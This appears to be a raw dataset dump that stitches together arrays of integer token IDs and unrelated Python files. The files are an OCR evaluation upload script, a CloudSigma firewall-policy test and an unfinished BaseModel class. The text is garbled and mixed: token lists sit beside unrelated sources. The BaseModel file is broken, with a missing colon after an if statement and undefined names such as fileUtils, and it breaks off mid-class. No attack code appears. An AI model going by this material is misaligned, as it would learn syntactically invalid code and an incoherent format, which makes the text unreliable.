580,
13,
1678,
6030,
353,
438,
1557,
453,
1061,
29898,
6008,
29922,
29900,
29889,
29900,
29896,
29892,
2159,
29922,
9988,
15755,
29889,
2311,
29892,
14385,
29922,
29896,
29900,
29892,
3474,
29922,
29896,
29900,
29897,
13,
1678,
6030,
29889,
14669,
29898,
9988,
15755,
29889,
657,
29918,
4905,
29898,
1555,
29873,
1179,
876,
13,
1678,
1550,
6030,
29889,
2230,
529,
6030,
29889,
19708,
29901,
13,
4706,
5583,
1179,
353,
274,
509,
15755,
29889,
10568,
29898,
29900,
29889,
29900,
29896,
29892,
5583,
1179,
29897,
13,
4706,
6030,
29889,
8228,
29898,
9988,
15755,
29889,
657,
29918,
4905,
29898,
1555,
29873,
1179,
876,
13,
1678,
736,
6030,
29889,
9202,
2264,
13,
13,
13,
1753,
8147,
29918,
2218,
29886,
9552,
29898,
29874,
29901,
7442,
29889,
299,
2378,
29892,
289,
29901,
7442,
29889,
299,
2378,
29897,
1599,
5785,
29901,
13,
1678,
736,
7442,
29889,
3676,
29898,
9302,
29889,
2083,
29898,
9302,
29889,
13519,
29898,
29874,
718,
448,
29890,
29892,
29871,
29906,
4961,
13,
13,
13,
1753,
17306,
29918,
695,
326,
495,
29898,
11358,
29918,
2230,
29892,
274,
509,
15755,
29892,
16717,
1125,
13,
1678,
1065,
353,
2069,
29918,
3389,
703,
29131,
29918,
695,
326,
495,
613,
10090,
29918,
2230,
29892,
274,
509,
15755,
29892,
16717,
29897,
13,
13,
1678,
286,
353,
25166,
2576,
495,
29898,
9988,
15755,
29892,
16717,
29892,
5478,
362,
29922,
29900,
29889,
29896,
29945,
29897,
13,
1678,
286,
29889,
14669,
580,
13,
13,
1678,
931,
353,
29871,
29900,
13,
1678,
5418,
353,
29871,
29900,
13,
1678,
848,
353,
426,
13,
4706,
376,
2481,
1115,
931,
29892,
13,
4706,
376,
9202,
2264,
1115,
286,
29889,
1131,
3456,
29879,
29961,
29885,
29889,
13318,
3816,
29896,
1402,
13,
4706,
376,
19244,
1115,
29871,
29900,
29892,
13,
4706,
376,
2218,
29886,
9552,
1115,
29871,
29900,
29892,
13,
1678,
500,
13,
1678,
363,
343,
297,
3464,
29898,
9988,
15755,
29889,
2311,
1125,
13,
4706,
363,
921,
297,
3464,
29898,
9988,
15755,
29889,
2311,
1125,
13,
9651,
848,
29961,
29888,
29908,
7915,
29889,
29912,
29916,
1836,
29912,
29891,
29913,
3108,
353,
274,
509,
15755,
29889,
705,
5861,
29961,
29916,
29892,
343,
29962,
13,
1678,
1065,
29889,
1188,
29898,
1272,
29897,
13,
1678,
263,
29901,
7442,
29889,
299,
2378,
353,
286,
29889,
1131,
3456,
29879,
29961,
29900,
3816,
29900,
1822,
705,
5861,
13,
1678,
289,
29901,
7442,
29889,
299,
2378,
353,
286,
29889,
1131,
3456,
29879,
29961,
29900,
3816,
29900,
1822,
705,
5861,
13,
1678,
1550,
931,
529,
10090,
29918,
2230,
29901,
13,
4706,
286,
29889,
14369,
29918,
10568,
580,
13,
4706,
289,
353,
286,
29889,
1131,
3456,
29879,
29961,
29885,
29889,
13318,
3816,
29900,
1822,
705,
5861,
13,
4706,
5418,
4619,
8147,
29918,
2218,
29886,
9552,
29898,
29874,
29892,
289,
29897,
13,
4706,
263,
353,
289,
13,
4706,
931,
4619,
938,
29898,
29885,
29889,
19708,
334,
286,
29889,
27736,
29897,
13,
4706,
848,
353,
426,
13,
9651,
376,
2481,
1115,
931,
29892,
13,
9651,
376,
9202,
2264,
1115,
286,
29889,
1131,
3456,
29879,
29961,
29885,
29889,
13318,
3816,
29896,
1402,
13,
9651,
376,
19244,
1115,
5418,
29892,
13,
9651,
376,
2218,
29886,
9552,
1115,
8147,
29918,
2218,
29886,
9552,
29898,
9988,
15755,
29889,
705,
5861,
29892,
289,
511,
13,
4706,
500,
13,
4706,
274,
353,
286,
29889,
1131,
3456,
29879,
29961,
29885,
29889,
13318,
3816,
29900,
29962,
13,
4706,
363,
343,
297,
3464,
29898,
29883,
29889,
2311,
1125,
13,
9651,
363,
921,
297,
3464,
29898,
29883,
29889,
2311,
1125,
13,
18884,
848,
29961,
29888,
29908,
7915,
29889,
29912,
29916,
1836,
29912,
29891,
29913,
3108,
353,
274,
29889,
705,
5861,
29961,
29916,
29892,
343,
29962,
13,
4706,
1065,
29889,
1188,
29898,
1272,
29897,
13,
13,
1678,
1065,
29889,
4951,
728,
580,
13,
13,
13,
1753,
15561,
1454,
13561,
29918,
1945,
1089,
29898,
11358,
29918,
2230,
29892,
274,
509,
15755,
29892,
16717,
1125,
13,
1678,
1065,
353,
2069,
29918,
3389,
703,
2096,
29918,
1945,
1089,
613,
10090,
29918,
2230,
29892,
274,
509,
15755,
29892,
16717,
29897,
13,
13,
1678,
286,
353,
19530,
1089,
29898,
9988,
15755,
29892,
16717,
29897,
13,
1678,
286,
29889,
915,
16300,
29889,
6008,
353,
29871,
29900,
29889,
29900,
29896,
13,
1678,
286,
29889,
915,
16300,
29889,
19708,
353,
10090,
29918,
2230,
13,
1678,
286,
29889,
915,
16300,
29889,
7165,
353,
29871,
29896,
29900,
13,
13,
1678,
931,
353,
448,
29896,
13,
1678,
1550,
286,
29889,
915,
16300,
29889,
2230,
529,
286,
29889,
915,
16300,
29889,
19708,
29901,
13,
4706,
286,
29889,
1524,
580,
13,
4706,
565,
931,
2804,
313,
29873,
3490,
11904,
29898,
29885,
29889,
915,
16300,
29889,
2230,
22164,
29871,
396,
1950,
19508,
421,
29873,
29952,
304,
421,
2230,
29952,
13,
9651,
565,
260,
1273,
938,
29898,
11358,
29918,
2230,
847,
29871,
29896,
29906,
29900,
1125,
13,
18884,
6773,
13,
9651,
931,
353,
260,
13,
9651,
848,
353,
8853,
2481,
1115,
260,
29913,
13,
9651,
848,
3366,
9202,
2264,
3108,
353,
679,
29918,
29888,
307,
2256,
29898,
29885,
29889,
2096,
9988,
15755,
29889,
9988,
15755,
29897,
29871,
396,
286,
29889,
915,
16300,
29889,
9202,
2264,
13,
9651,
848,
3366,
19244,
3108,
353,
286,
29889,
2096,
9988,
15755,
29889,
19244,
13,
9651,
848,
3366,
2218,
29886,
9552,
3108,
353,
286,
29889,
15807,
403,
29918,
2218,
29886,
9552,
580,
13,
9651,
363,
343,
297,
3464,
29898,
29885,
29889,
2096,
9988,
15755,
29889,
9988,
15755,
29889,
2311,
1125,
13,
18884,
363,
921,
297,
3464,
29898,
29885,
29889,
2096,
9988,
15755,
29889,
9988,
15755,
29889,
2311,
1125,
13,
462,
1678,
848,
29961,
29888,
29908,
7915,
29889,
29912,
29916,
1836,
29912,
29891,
29913,
3108,
353,
286,
29889,
2096,
9988,
15755,
29889,
5064,
29961,
29916,
29892,
343,
29962,
13,
9651,
1065,
29889,
1188,
29898,
1272,
29897,
13,
13,
1678,
396,
1065,
29889,
7727,
3366,
9202,
2264,
3108,
353,
679,
29918,
29888,
307,
2256,
29898,
29885,
29889,
2096,
9988,
15755,
29889,
9988,
15755,
29897,
13,
1678,
1065,
29889,
4951,
728,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
13,
1678,
822,
274,
29898,
5085,
1125,
13,
4706,
1596,
29898,
5085,
29897,
13,
4706,
6389,
29961,
29900,
850,
29930,
5085,
29961,
29896,
29901,
2314,
13,
13,
1678,
396,
3519,
353,
518,
8172,
29918,
20919,
261,
29892,
17306,
29918,
695,
326,
495,
29892,
15561,
1454,
13561,
29918,
1945,
1089,
29962,
13,
1678,
6389,
353,
4256,
8504,
29889,
4704,
29898,
13,
4706,
518,
276,
262,
1454,
13561,
29918,
1945,
1089,
29892,
17306,
29918,
695,
326,
495,
1402,
399,
9818,
29918,
15307,
29903,
29892,
13756,
24647,
1806,
24125,
29892,
3725,
3352,
29903,
13,
1678,
1723,
13,
1678,
396,
282,
353,
28625,
29898,
29906,
29897,
13,
1678,
396,
282,
29889,
1958,
29898,
29883,
29892,
1051,
29898,
5085,
876,
13,
1678,
6389,
353,
1051,
29898,
5085,
29897,
13,
1678,
954,
29918,
28993,
353,
2257,
309,
29898,
2435,
29898,
5085,
29897,
847,
3446,
16310,
29918,
18736,
29897,
13,
1678,
6471,
353,
518,
5085,
29961,
29875,
1057,
1949,
29918,
28993,
29962,
363,
474,
297,
3464,
29898,
1949,
29918,
28993,
4638,
13,
1678,
363,
2318,
297,
6471,
29901,
13,
4706,
9717,
353,
5159,
13,
4706,
363,
330,
297,
2318,
29901,
13,
9651,
9717,
29889,
4397,
29898,
7032,
29898,
5182,
29922,
29883,
29892,
6389,
7607,
29887,
29892,
4961,
13,
4706,
363,
17117,
282,
297,
26985,
29898,
28993,
1125,
13,
9651,
282,
29889,
2962,
580,
13,
4706,
363,
17117,
282,
297,
26985,
29898,
28993,
1125,
13,
9651,
282,
29889,
7122,
580,
13,
2
] |
jenti.py | jentiai/Korean-Light-OCR-Data | 0 | 118619 | <filename>jenti.py
import os
import sys
import json
import requests
from tqdm import tqdm
def main():
url = "http://172.16.31.10:5000/evaluation"
img_dir = sys.argv[1]
with open('./jenti.json', 'w', encoding = 'UTF-8-sig') as json_res:
res_dict = {}
for img_name in tqdm(list(filter(lambda x: x.find('.jpg') != -1 or x.find('.png') != -1, os.listdir(img_dir)))):
img_path = os.path.join(img_dir, img_name)
files = {'file': open(img_path, 'rb').read()}
r = requests.post(url, files = files)
res_dict[os.path.splitext(img_name)[0]] = r.json()
json.dump(res_dict, json_res, ensure_ascii = False, indent = '\t')
if __name__ == '__main__':
main() | [
1,
529,
9507,
29958,
29926,
7268,
29889,
2272,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
4390,
13,
5215,
7274,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
13,
1753,
1667,
7295,
13,
1678,
3142,
353,
376,
1124,
597,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29941,
29896,
29889,
29896,
29900,
29901,
29945,
29900,
29900,
29900,
29914,
24219,
362,
29908,
13,
1678,
10153,
29918,
3972,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
13,
1678,
411,
1722,
877,
6904,
29926,
7268,
29889,
3126,
742,
525,
29893,
742,
8025,
353,
525,
10496,
29899,
29947,
29899,
18816,
1495,
408,
4390,
29918,
690,
29901,
13,
4706,
620,
29918,
8977,
353,
6571,
13,
4706,
363,
10153,
29918,
978,
297,
260,
29939,
18933,
29898,
1761,
29898,
4572,
29898,
2892,
921,
29901,
921,
29889,
2886,
12839,
6173,
1495,
2804,
448,
29896,
470,
921,
29889,
2886,
12839,
2732,
1495,
2804,
448,
29896,
29892,
2897,
29889,
1761,
3972,
29898,
2492,
29918,
3972,
13697,
29901,
13,
9651,
10153,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2492,
29918,
3972,
29892,
10153,
29918,
978,
29897,
13,
9651,
2066,
353,
11117,
1445,
2396,
1722,
29898,
2492,
29918,
2084,
29892,
525,
6050,
2824,
949,
28296,
13,
9651,
364,
353,
7274,
29889,
2490,
29898,
2271,
29892,
2066,
353,
2066,
29897,
13,
9651,
620,
29918,
8977,
29961,
359,
29889,
2084,
29889,
23579,
568,
486,
29898,
2492,
29918,
978,
9601,
29900,
5262,
353,
364,
29889,
3126,
580,
13,
308,
13,
4706,
4390,
29889,
15070,
29898,
690,
29918,
8977,
29892,
4390,
29918,
690,
29892,
9801,
29918,
294,
18869,
353,
7700,
29892,
29536,
353,
11297,
29873,
1495,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
268,
2
] |
src/testing/acceptance/test_firewall.py | cloudsigma/pycloudsigma | 13 | 49475 | import unittest
from nose.plugins.attrib import attr
from testing.utils import DumpResponse
import cloudsigma.resource as resource
@attr('acceptance_test')
class FirewallPolicyTest(unittest.TestCase):
def setUp(self):
unittest.TestCase.setUp(self)
self.client = resource.FirewallPolicy()
self.dump_response = DumpResponse(clients=[self.client])
self.base_policy = {
"name": "My awesome policy",
"rules": [
{
"dst_ip": "23",
"direction": "out",
"action": "drop",
"comment": "Drop traffic from the VM to IP address 172.16.17.32/32"
},
{
"src_ip": "172.16.31.10/24",
"ip_proto": "tcp",
"dst_port": "22",
"direction": "in",
"action": "accept",
"comment": "Allow SSH traffic to the VM from our office in Dubai"
},
{
"ip_proto": "tcp",
"dst_port": "22",
"direction": "in",
"action": "drop",
"comment": "Drop all other SSH traffic to the VM"
},
{
"src_ip": "!172.16.17.32",
"ip_proto": "udp",
"direction": "in",
"action": "drop",
"comment": "Drop all UDP traffic to the VM, not originating from 172.16.17.32"
},
{
"ip_proto": "tcp",
"dst_port": "!1:1024",
"direction": "in",
"action": "drop",
"comment": "Drop any traffic, to the VM with destination port not between 1-1024"
}
]
}
self._clean_policies()
def tearDown(self):
self._clean_policies()
def _clean_policies(self):
policies = self.client.list_detail()
server_client = resource.Server()
deleted_servers = []
for policy in policies:
for server in policy['servers']:
if server['uuid'] not in deleted_servers:
deleted_servers.append(server['uuid'])
server_client.delete(server['uuid'])
self.client.delete(policy['uuid'])
@attr('docs_snippets')
def test_get_schema(self):
with self.dump_response('fwpolicy_schema'):
self.client.get_schema()
@attr('docs_snippets')
def test_crud_policy(self):
base_policy = self.base_policy.copy()
with self.dump_response('fwpolicy_create_minimal'):
min_policy = self.client.create({})
self.assertDictContainsSubset({}, min_policy)
with self.dump_response('fwpolicy_create_full'):
full_policy = self.client.create(base_policy)
# Test if applied rules look like the ones returned from the API.
# The dict is subset will not work, because API
# alters/normalizes some of the data.
for idx, rules in enumerate(base_policy['rules']):
for key in rules:
match_a = str(full_policy['rules'][idx][key])
match_b = rules[key]
print(match_a, match_b)
self.assertTrue(match_a.startswith(match_b))
with self.dump_response('fwpolicy_list'):
self.client.list()
with self.dump_response('fwpolicy_list_detail'):
res = self.client.list_detail()
self.assertEqual(len(res), 2)
updated_policy = full_policy.copy()
updated_policy['rules'] = [updated_policy['rules'][0]]
with self.dump_response('fwpolicy_get'):
self.client.get(full_policy['uuid'])
with self.dump_response('fwpolicy_update'):
up_pol = self.client.update(full_policy['uuid'], updated_policy)
self.assertEqual(len(up_pol['rules']), 1)
with self.dump_response('fwpolicy_delete'):
self.client.delete(full_policy['uuid'])
self.client.delete(min_policy['uuid'])
res = self.client.list()
self.assertEqual(len(res), 0)
@attr('docs_snippets')
def test_server_fw_rules(self):
policy = self.client.create(self.base_policy)
server_def = {
'name': 'FirewalledServer',
'cpu': 1000,
'mem': 512 * 1024 ** 2,
'vnc_password': '<PASSWORD>',
"nics": [
{
"firewall_policy": policy['uuid'],
"ip_v4_conf": {
"ip": None,
"conf": "dhcp"
},
"model": "virtio",
}
],
}
server_client = resource.Server()
with DumpResponse(clients=[server_client])("fwpolicy_server_attach"):
server = server_client.create(server_def)
self.assertEqual(
server['nics'][0]['firewall_policy']['uuid'], policy['uuid']
)
self.client.delete(policy['uuid'])
server = server_client.get(server['uuid'])
self.assertIsNone(server['nics'][0]['firewall_policy'])
server_client.delete(server['uuid'])
| [
1,
1053,
443,
27958,
13,
13,
3166,
26414,
29889,
12800,
29889,
1131,
1091,
1053,
12421,
13,
13,
3166,
6724,
29889,
13239,
1053,
360,
3427,
5103,
13,
5215,
9570,
3754,
29889,
10314,
408,
6503,
13,
13,
13,
29992,
5552,
877,
16044,
749,
29918,
1688,
1495,
13,
1990,
6438,
11358,
15644,
3057,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
443,
27958,
29889,
3057,
8259,
29889,
842,
3373,
29898,
1311,
29897,
13,
4706,
1583,
29889,
4645,
353,
6503,
29889,
18654,
11358,
15644,
580,
13,
4706,
1583,
29889,
15070,
29918,
5327,
353,
360,
3427,
5103,
29898,
11303,
1237,
11759,
1311,
29889,
4645,
2314,
13,
4706,
1583,
29889,
3188,
29918,
22197,
353,
426,
13,
9651,
376,
978,
1115,
376,
3421,
29663,
8898,
613,
13,
9651,
376,
19238,
1115,
518,
13,
18884,
426,
13,
462,
1678,
376,
22992,
29918,
666,
1115,
376,
29906,
29941,
613,
13,
462,
1678,
376,
20845,
1115,
376,
449,
613,
13,
462,
1678,
376,
2467,
1115,
376,
8865,
613,
13,
462,
1678,
376,
9342,
1115,
376,
15063,
12469,
515,
278,
11400,
304,
5641,
3211,
29871,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
29914,
29941,
29906,
29908,
13,
18884,
2981,
13,
18884,
426,
13,
462,
1678,
376,
4351,
29918,
666,
1115,
376,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29941,
29896,
29889,
29896,
29900,
29914,
29906,
29946,
613,
13,
462,
1678,
376,
666,
29918,
17529,
1115,
376,
23981,
613,
13,
462,
1678,
376,
22992,
29918,
637,
1115,
376,
29906,
29906,
613,
13,
462,
1678,
376,
20845,
1115,
376,
262,
613,
13,
462,
1678,
376,
2467,
1115,
376,
16044,
613,
13,
462,
1678,
376,
9342,
1115,
376,
15930,
22343,
12469,
304,
278,
11400,
515,
1749,
8034,
297,
11668,
1794,
29908,
13,
18884,
2981,
13,
18884,
426,
13,
462,
1678,
376,
666,
29918,
17529,
1115,
376,
23981,
613,
13,
462,
1678,
376,
22992,
29918,
637,
1115,
376,
29906,
29906,
613,
13,
462,
1678,
376,
20845,
1115,
376,
262,
613,
13,
462,
1678,
376,
2467,
1115,
376,
8865,
613,
13,
462,
1678,
376,
9342,
1115,
376,
15063,
599,
916,
22343,
12469,
304,
278,
11400,
29908,
13,
18884,
2981,
13,
18884,
426,
13,
462,
1678,
376,
4351,
29918,
666,
1115,
376,
29991,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
613,
13,
462,
1678,
376,
666,
29918,
17529,
1115,
376,
566,
29886,
613,
13,
462,
1678,
376,
20845,
1115,
376,
262,
613,
13,
462,
1678,
376,
2467,
1115,
376,
8865,
613,
13,
462,
1678,
376,
9342,
1115,
376,
15063,
599,
501,
11191,
12469,
304,
278,
11400,
29892,
451,
3978,
1218,
515,
29871,
29896,
29955,
29906,
29889,
29896,
29953,
29889,
29896,
29955,
29889,
29941,
29906,
29908,
13,
18884,
2981,
13,
18884,
426,
13,
462,
1678,
376,
666,
29918,
17529,
1115,
376,
23981,
613,
13,
462,
1678,
376,
22992,
29918,
637,
1115,
376,
29991,
29896,
29901,
29896,
29900,
29906,
29946,
613,
13,
462,
1678,
376,
20845,
1115,
376,
262,
613,
13,
462,
1678,
376,
2467,
1115,
376,
8865,
613,
13,
462,
1678,
376,
9342,
1115,
376,
15063,
738,
12469,
29892,
304,
278,
11400,
411,
12551,
2011,
451,
1546,
29871,
29896,
29899,
29896,
29900,
29906,
29946,
29908,
13,
18884,
500,
13,
9651,
4514,
13,
4706,
500,
13,
4706,
1583,
3032,
14941,
29918,
3733,
293,
583,
580,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
1583,
3032,
14941,
29918,
3733,
293,
583,
580,
13,
13,
1678,
822,
903,
14941,
29918,
3733,
293,
583,
29898,
1311,
1125,
13,
4706,
24833,
353,
1583,
29889,
4645,
29889,
1761,
29918,
16432,
580,
13,
4706,
1923,
29918,
4645,
353,
6503,
29889,
6004,
580,
13,
4706,
11132,
29918,
643,
874,
353,
5159,
13,
4706,
363,
8898,
297,
24833,
29901,
13,
9651,
363,
1923,
297,
8898,
1839,
643,
874,
2033,
29901,
13,
18884,
565,
1923,
1839,
25118,
2033,
451,
297,
11132,
29918,
643,
874,
29901,
13,
462,
1678,
11132,
29918,
643,
874,
29889,
4397,
29898,
2974,
1839,
25118,
11287,
13,
462,
1678,
1923,
29918,
4645,
29889,
8143,
29898,
2974,
1839,
25118,
11287,
13,
9651,
1583,
29889,
4645,
29889,
8143,
29898,
22197,
1839,
25118,
11287,
13,
13,
1678,
732,
5552,
877,
2640,
29918,
29879,
1240,
27421,
1495,
13,
1678,
822,
1243,
29918,
657,
29918,
11010,
29898,
1311,
1125,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
11010,
29374,
13,
9651,
1583,
29889,
4645,
29889,
657,
29918,
11010,
580,
13,
13,
1678,
732,
5552,
877,
2640,
29918,
29879,
1240,
27421,
1495,
13,
1678,
822,
1243,
29918,
7283,
566,
29918,
22197,
29898,
1311,
1125,
13,
4706,
2967,
29918,
22197,
353,
1583,
29889,
3188,
29918,
22197,
29889,
8552,
580,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
3258,
29918,
1195,
3039,
29374,
13,
9651,
1375,
29918,
22197,
353,
1583,
29889,
4645,
29889,
3258,
3319,
1800,
13,
13,
4706,
1583,
29889,
9294,
21533,
21409,
4035,
842,
3319,
1118,
1375,
29918,
22197,
29897,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
3258,
29918,
8159,
29374,
13,
9651,
2989,
29918,
22197,
353,
1583,
29889,
4645,
29889,
3258,
29898,
3188,
29918,
22197,
29897,
13,
13,
4706,
396,
4321,
565,
7436,
6865,
1106,
763,
278,
6743,
4133,
515,
278,
3450,
29889,
13,
4706,
396,
450,
9657,
338,
11306,
674,
451,
664,
29892,
1363,
3450,
13,
4706,
396,
394,
2153,
29914,
8945,
7093,
777,
310,
278,
848,
29889,
13,
4706,
363,
22645,
29892,
6865,
297,
26985,
29898,
3188,
29918,
22197,
1839,
19238,
2033,
1125,
13,
9651,
363,
1820,
297,
6865,
29901,
13,
18884,
1993,
29918,
29874,
353,
851,
29898,
8159,
29918,
22197,
1839,
19238,
2033,
29961,
13140,
3816,
1989,
2314,
13,
18884,
1993,
29918,
29890,
353,
6865,
29961,
1989,
29962,
13,
18884,
1596,
29898,
4352,
29918,
29874,
29892,
1993,
29918,
29890,
29897,
13,
18884,
1583,
29889,
9294,
5574,
29898,
4352,
29918,
29874,
29889,
27382,
2541,
29898,
4352,
29918,
29890,
876,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
1761,
29374,
13,
9651,
1583,
29889,
4645,
29889,
1761,
580,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
1761,
29918,
16432,
29374,
13,
9651,
620,
353,
1583,
29889,
4645,
29889,
1761,
29918,
16432,
580,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
690,
511,
29871,
29906,
29897,
13,
13,
4706,
4784,
29918,
22197,
353,
2989,
29918,
22197,
29889,
8552,
580,
13,
4706,
4784,
29918,
22197,
1839,
19238,
2033,
353,
518,
21402,
29918,
22197,
1839,
19238,
2033,
29961,
29900,
5262,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
657,
29374,
13,
9651,
1583,
29889,
4645,
29889,
657,
29898,
8159,
29918,
22197,
1839,
25118,
11287,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
5504,
29374,
13,
9651,
701,
29918,
3733,
353,
1583,
29889,
4645,
29889,
5504,
29898,
8159,
29918,
22197,
1839,
25118,
7464,
4784,
29918,
22197,
29897,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
786,
29918,
3733,
1839,
19238,
2033,
511,
29871,
29896,
29897,
13,
13,
4706,
411,
1583,
29889,
15070,
29918,
5327,
877,
25051,
22197,
29918,
8143,
29374,
13,
9651,
1583,
29889,
4645,
29889,
8143,
29898,
8159,
29918,
22197,
1839,
25118,
11287,
13,
13,
4706,
1583,
29889,
4645,
29889,
8143,
29898,
1195,
29918,
22197,
1839,
25118,
11287,
13,
13,
4706,
620,
353,
1583,
29889,
4645,
29889,
1761,
580,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
690,
511,
29871,
29900,
29897,
13,
13,
1678,
732,
5552,
877,
2640,
29918,
29879,
1240,
27421,
1495,
13,
1678,
822,
1243,
29918,
2974,
29918,
25051,
29918,
19238,
29898,
1311,
1125,
13,
4706,
8898,
353,
1583,
29889,
4645,
29889,
3258,
29898,
1311,
29889,
3188,
29918,
22197,
29897,
13,
13,
4706,
1923,
29918,
1753,
353,
426,
13,
9651,
525,
978,
2396,
525,
18654,
29893,
4212,
6004,
742,
13,
9651,
525,
21970,
2396,
29871,
29896,
29900,
29900,
29900,
29892,
13,
9651,
525,
6954,
2396,
29871,
29945,
29896,
29906,
334,
29871,
29896,
29900,
29906,
29946,
3579,
29871,
29906,
29892,
13,
9651,
525,
29894,
17608,
29918,
5630,
2396,
12801,
25711,
17013,
29958,
742,
13,
9651,
376,
29876,
1199,
1115,
518,
13,
18884,
426,
13,
462,
1678,
376,
8696,
11358,
29918,
22197,
1115,
8898,
1839,
25118,
7464,
13,
462,
1678,
376,
666,
29918,
29894,
29946,
29918,
5527,
1115,
426,
13,
462,
4706,
376,
666,
1115,
6213,
29892,
13,
462,
4706,
376,
5527,
1115,
376,
12744,
6814,
29908,
13,
462,
1678,
2981,
13,
462,
1678,
376,
4299,
1115,
376,
15389,
601,
613,
13,
18884,
500,
13,
9651,
21251,
13,
4706,
500,
13,
4706,
1923,
29918,
4645,
353,
6503,
29889,
6004,
580,
13,
4706,
411,
360,
3427,
5103,
29898,
11303,
1237,
11759,
2974,
29918,
4645,
2314,
703,
25051,
22197,
29918,
2974,
29918,
14930,
29908,
1125,
13,
9651,
1923,
353,
1923,
29918,
4645,
29889,
3258,
29898,
2974,
29918,
1753,
29897,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
13,
9651,
1923,
1839,
29876,
1199,
2033,
29961,
29900,
22322,
8696,
11358,
29918,
22197,
16215,
25118,
7464,
8898,
1839,
25118,
2033,
13,
4706,
1723,
13,
13,
4706,
1583,
29889,
4645,
29889,
8143,
29898,
22197,
1839,
25118,
11287,
13,
13,
4706,
1923,
353,
1923,
29918,
4645,
29889,
657,
29898,
2974,
1839,
25118,
11287,
13,
4706,
1583,
29889,
9294,
3624,
8516,
29898,
2974,
1839,
29876,
1199,
2033,
29961,
29900,
22322,
8696,
11358,
29918,
22197,
11287,
13,
13,
4706,
1923,
29918,
4645,
29889,
8143,
29898,
2974,
1839,
25118,
11287,
13,
2
] |
main/python/model/Base.py | ShangxuanWu/MT_python | 0 | 49422 | <gh_stars>0
# <NAME> @ Myraid of Things
# 31 Jun 2017
# add path for root ('tf_code/') directory if not in sys.path
import sys, os
root_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))
if root_path not in sys.path
sys.path.append(root_path)
from main.python.utils import FileUtils, LogUtils
from main.python.dataloader import DataLoader
from main.resource.dataloader import DataLoaderConfig
import pdb
import os, logging
# this is actually an abstract class with no actual use
class BaseModel():
# init function for
def __init__(self, fd_path, child_class_name):
# check path valid
assert fileUtils.isFolderExists(fd_path)
self.root_fd = fd_path
# check three necessary files exist
self.data_loader = DataLoader(self.root_fd)
# already checked file existence
#assert self.data_loader.hasNecessaryTrainFiles()
# create folders
self.model_fd = os.path.join(self.root_fd, model_fd_basename)
fileUtils.makeOrClearFolder(root_fd)
# handle logging
self.train_log_fn = os.path.join(self.root_fd, train_log_basename)
# create logger with 'spam_application'
self.logger = logging.getLogger(child_class_name)
self.logger.setLevel(logging.DEBUG)
# create file handler which logs even debug messages
fh = logging.FileHandler(self.train_log_fn)
fh.setLevel(logging.DEBUG)
# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
# create formatter and add it to the handlers
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
ch.setFormatter(formatter)
# add the handlers to the logger
self.logger.addHandler(fh)
self.logger.addHandler(ch)
return
# Following are some abstract functions needed to be implemented:
def parseParames(self):
raise NotImplementedError
def saveModel(self):
raise NotImplementedError
def loadModel(self):
raise NotImplementedError
def forward(self):
raise NotImplementedError
def train(self):
raise NotImplementedError
def evaluate(self):
raise NotImplementedError
def send(self):
raise NotImplementedError
# make assertion to logger instead of to screen
def assertToLogger(self, assertion, err_str):
try:
assert assertion
except AssertionError as err:
self.logger.exception(err_str)
raise err
return
def submitModel(self):
return | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
529,
5813,
29958,
732,
1619,
12240,
310,
28706,
13,
29937,
29871,
29941,
29896,
8378,
29871,
29906,
29900,
29896,
29955,
13,
13,
29937,
788,
2224,
363,
3876,
6702,
13264,
29918,
401,
29914,
1495,
3884,
565,
451,
297,
10876,
29889,
2084,
13,
5215,
10876,
29892,
2897,
13,
4632,
29918,
2084,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
22168,
1445,
1649,
876,
4961,
13,
361,
3876,
29918,
2084,
451,
297,
10876,
29889,
2084,
13,
1678,
10876,
29889,
2084,
29889,
4397,
29898,
4632,
29918,
2084,
29897,
13,
13,
3166,
1667,
29889,
4691,
29889,
13239,
1053,
3497,
12177,
29892,
4522,
12177,
13,
3166,
1667,
29889,
4691,
29889,
29881,
2075,
29877,
1664,
1053,
3630,
10036,
13,
3166,
1667,
29889,
10314,
29889,
29881,
2075,
29877,
1664,
1053,
3630,
10036,
3991,
13,
5215,
282,
2585,
13,
5215,
2897,
29892,
12183,
13,
13,
29937,
445,
338,
2869,
385,
9846,
770,
411,
694,
3935,
671,
13,
1990,
7399,
3195,
7295,
13,
1678,
396,
2069,
740,
363,
29871,
13,
